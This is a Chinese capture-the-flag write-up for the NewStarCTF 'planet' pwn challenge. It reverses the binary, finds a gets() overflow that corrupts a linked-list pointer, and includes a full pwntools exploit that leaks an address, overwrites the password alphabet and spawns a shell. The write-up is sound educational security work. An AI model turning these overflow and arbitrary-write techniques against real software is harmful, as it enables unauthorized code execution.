[NewStarCTF WEEK5] pwn-planet 详解

这道题目更多是考pwner的逆向功底（虽然程序逻辑也不是非常复杂=_=）

老规矩，先checksec查看程序

保护全开

看一下main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v4; // eax
  char s1[88]; // [rsp+20h] [rbp-60h] BYREF
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  alarm(0x78u);
  printf("Passwd: ");
  fflush(stdout);
  gets(s1);
  if ( !strcmp(s1, "secret_passwd_anti_bad_guys") )
  {
    v4 = time(0LL);
    srand(v4);
    sub_13E7();
    sub_1929();
  }
  return 0LL;
}

这里执行了两个函数sub_13E7(); sub_1929();，跟进去看一下

unsigned int sub_13E7()
{
  puts("Welcome in a new dimension...");
  fflush(stdout);
  puts("\t...Boooom... the big bang sound...");
  fflush(stdout);
  sub_12F2();
  sleep(1u);
  puts("\t\ta new universe has begun, with new physics laws...");
  fflush(stdout);
  puts("\t...here stacks look safe!");
  fflush(stdout);
  return sleep(1u);
}

跟进函数sub_12F2();

char *sub_12F2()
{
  char *result; // rax
  int i; // [rsp+4h] [rbp-1Ch]
  char *v2; // [rsp+8h] [rbp-18h]
  char *dest; // [rsp+10h] [rbp-10h]
  char *src; // [rsp+18h] [rbp-8h]
  char *srca; // [rsp+18h] [rbp-8h]

  dest = (char *)malloc(0x28uLL);
  ::dest = dest;
  *((_QWORD *)dest + 4) = 0LL;
  src = (char *)sub_1245(5LL);
  strcpy(dest, src);
  *((_QWORD *)dest + 2) = &dword_40D0;
  free(src);
  for ( i = 0; i <= 9; ++i )
  {
    v2 = (char *)malloc(0x28uLL);
    srca = (char *)sub_1245(5LL);
    strcpy(v2, srca);
    free(srca);
    *((_QWORD *)v2 + 2) = &dword_40D0;
    *((_QWORD *)dest + 3) = v2;
    *((_QWORD *)v2 + 4) = dest;
    dest = v2;
  }
  result = v2;
  *((_QWORD *)v2 + 3) = 0LL;
  return result;
}

这里就比较有意思了，很明显全局变量::dest不是简单的字符串指针，根据下面的代码

	dest = (char *)malloc(0x28uLL);
  	::dest = dest;
	.........
    v2 = (char *)malloc(0x28uLL);
	.........
	*((_QWORD *)dest + 3) = v2;
    *((_QWORD *)v2 + 4) = dest;
    dest = v2;

是不是感觉有些眼熟，这个函数就是双向链表的建立。现在我们创建一个结构体，然后将结构体映射到变量上

00000000 Plane struc ; (sizeof=0x28, mappedto_8)
00000000 str db 16 dup(?)
00000010 level dq ?                              ; offset
00000018 next dq ?                               ; offset
00000020 prev dq ?                               ; offset
00000028 Plane ends
00000028

这是修改后的代码，可读性是不是高多了。流程就是创建一个长度为11的双向链表，::dest为头结点，链表的数据域里存一个char str[16]数组和int *p指针，str为从字母表中生成的长度为5的随机字符串，int指针指向一个全局变量。（注意：::dest和dword_40D0两个全局变量被我重命名为 head 和 global_level）

Plane *CreateLinklist()
{
  Plane *result; // rax
  int i; // [rsp+4h] [rbp-1Ch]
  Plane *p; // [rsp+8h] [rbp-18h]
  Plane *dest; // [rsp+10h] [rbp-10h]
  char *src; // [rsp+18h] [rbp-8h]
  char *srca; // [rsp+18h] [rbp-8h]

  dest = (Plane *)malloc(0x28uLL);
  head = dest;
  dest->prev = 0LL;
  src = RandomCode(5);
  strcpy(dest->str, src);
  dest->level = &global_level;
  free(src);
  for ( i = 0; i <= 9; ++i )
  {
    p = (Plane *)malloc(0x28uLL);
    srca = RandomCode(5);
    strcpy(p->str, srca);
    free(srca);
    p->level = &global_level;
    dest->next = p;
    p->prev = dest;
    dest = p;
  }
  result = p;
  p->next = 0LL;
  return result;
}

好，第一个函数sub_13E7();分析完了，现在分析第二个函数sub_1929();

void sub_1929()
{
  int i; // [rsp+8h] [rbp-68h]
  char s1[88]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  while ( 1 )
  {
    printf("What is your next move? (Help)\n>");
    fflush(stdout);
    gets(s1);
    for ( i = 0; i <= 9; ++i )
    {
      if ( !strcmp(s1, off_4100[i]) )
      {
        funcs_19CE[i]();
        i = 10;
      }
    }
  }
}

这里的逻辑很明显就是菜单选择，存在一个字符串指针数组off_4100和函数指针表funcs_19CE，将用户输入的字串与字符串数组比较，找到对应的位置则执行函数指针表中对应的操作。

这里是两个指针数组对应的数据（为了方便阅读，这里我对一些函数和变量进行了重命名）

0000000000004100 08 20 00 00 00 00 00 00       cmd_list dq offset aHelp                ; DATA XREF: Choice+6A↑o
.data:0000000000004100                                                                       ; "Help"
.data:0000000000004108 0D 20 00 00 00 00 00 00       dq offset aExit_0                       ; "Exit"
.data:0000000000004110 12 20 00 00 00 00 00 00       dq offset aJump                         ; "Jump"
.data:0000000000004118 17 20 00 00 00 00 00 00       dq offset aGetname                      ; "GetName"
.data:0000000000004120 1F 20 00 00 00 00 00 00       dq offset aRename                       ; "Rename"
.data:0000000000004128 26 20 00 00 00 00 00 00       dq offset aCheck                        ; "Check"
.data:0000000000004130 2C 20 00 00 00 00 00 00       dq offset aGoback                       ; "GoBack"
.data:0000000000004138 33 20 00 00 00 00 00 00       dq offset aSearch                       ; "Search"
.data:0000000000004140 3A 20 00 00 00 00 00 00       dq offset aNap                          ; "Nap"
.data:0000000000004148 3E 20 00 00 00 00 00 00       dq offset aAdmin                        ; "Admin"
.data:0000000000004150 00 00 00 00 00 00 00 00 00 00+align 20h
.data:0000000000004160 78 14 00 00 00 00 00 00 9E 14+func_list dq offset sub_1478            ; DATA XREF: Choice+95↑o
.data:0000000000004160 00 00 00 00 00 00 AC 14 00 00+                                        ; Choice+9C↑r
.data:0000000000004160 00 00 00 00 54 15 00 00 00 00+dq offset sub_149E
.data:0000000000004160 00 00 89 15 00 00 00 00 00 00+dq offset Next
.data:0000000000004160 86 16 00 00 00 00 00 00 0F 16+dq offset GetName
.data:0000000000004160 00 00 00 00 00 00 FF 16 00 00+dq offset SetName
.data:0000000000004160 00 00 00 00 4A 17 00 00 00 00+dq offset Back
.data:0000000000004160 00 00 D3 17 00 00 00 00 00 00 dq offset Check
.data:0000000000004160                               dq offset sub_16FF
.data:0000000000004160                               dq offset nap
.data:0000000000004160                               dq offset Admin
.data:00000000000041B0                               ; __int64 (*off_41B0)(void)
.data:00000000000041B0 86 18 00 00 00 00 00 00       off_41B0 dq offset getshell             ; DATA XREF: Admin:loc_185D↑r

这里关键的函数有四个Next GetName SetName Admin

先分析Admin函数

__int64 Admin()
{
  const char *v0; // rsi
  char s1[88]; // [rsp+0h] [rbp-60h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Insert the secret passwd\n> ");
  fflush(stdout);
  gets(s1);
  v0 = RandomCode(30);
  if ( !strcmp(s1, v0) )
  {
    off_41B0();
  }
  else
  {
    puts("Password is wrong");
    fflush(stdout);
  }
  return 0LL;
}

程序生成一个长度为30的随机字符串，若输入的密码与它一致即可获取shell。

这里有两种利用方案，一是修改srand函数的初始值为一个定值，然后根据这个种子生成的数字序列来获得程序生成的字符串。但是回看main函数，储存初始值的变量v4为寄存器变量，不在栈上面，无法被修改。而且初始值的赋值在gets函数之后，即使有条件修改也会被覆盖，故此方法行不通。

二是修改.data段的字母表的数据全为同一个值，这样无论怎么随机生成的也是长度为30的固定字符串。

00000000000040D0 01 00 00 00                   global_level dd 1
00000000000040D4 00 00 00 00 00 00 00 00 00 00+db 0Ch dup(0)
00000000000040E0 61 62 63 64 65 66 67 68 69 6A+aAbcdefghijklmn db 'abcdefghijklmnopqrstuvwxyz',0

接下来分析剩下的三个函数

__int64 Next()
{
  puts("I'm going to the next planet...");
  fflush(stdout);
  if ( (global_level & 1) != 0 )
  {
    ++global_level;
    if ( head->next )
    {
      head = head->next;
    }
    else
    {
      puts("I can't... the next planet is a black hole");
      fflush(stdout);
    }
    return 0LL;
  }
  else
  {
    puts("Sorry, I'm too tired, I need a nap!");
    fflush(stdout);
    return 0LL;
  }
}

__int64 GetName()
{
  printf("I'm on the planet called: %s\n", head->str);
  fflush(stdout);
  return 0LL;
}

__int64 SetName()
{
  size_t v0; // rax
  char s[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Enter the new name");
  fflush(stdout);
  gets(s);                                      // data overwrite
  v0 = strlen(s);
  strncpy(head->str, s, v0);
  return 0LL;
}

看完这三个函数应该有思路了吧。

SetName函数存在明显的数据覆盖漏洞，可以将链表的指针域覆写为目标地址，然后实现任意地址写。

攻击思路：将链表内的字符数组填满，利用GetName函数可以泄露全局变量global_level的地址，这就相当于泄露了字母表字符串的地址，然后通过SetName修改链表的Next指针为字母表地址，再执行Next函数，使要修改的地址为字母表地址，接着执行SetName函数将字母表覆盖为单一数据，最后执行Admin函数输入密码即可获取shell。

exp：

from pwn import *
context(arch = "amd64",os = "linux",log_level = "debug")
local = 0
if local:
    io = process("./pwn")
else:
    io = remote("node4.buuoj.cn", 28455)

def start():
    io.recvuntil(b"Passwd: ")
    io.sendline(b"secret_passwd_anti_bad_guys")

def rename(content):
    io.sendlineafter(b"next move? (Help)\n>", b"Rename")
    io.sendline(content)

def getname():
    io.sendlineafter(b"next move? (Help)\n>", b"GetName")

def getShell():
    io.sendlineafter(b"next move? (Help)\n>", b"Admin")
    io.sendlineafter(b"passwd\n> ",b'a'*30)
    
def Next():
    io.sendlineafter(b"next move? (Help)\n>", b"Jump")

def Back():
    io.sendlineafter(b"next move? (Help)\n>", b"Check")

start()
rename(b'a'*16)
getname()
io.recvuntil(b"planet called: ")
leakAddr = u64(io.recv(16+6)[16:].ljust(8,b'\x00'))
payload = b'a'*0x18+p64(leakAddr+0x10)
rename(payload)
Next()
rename(b"a"*26)
getname()
getShell()

io.interactive()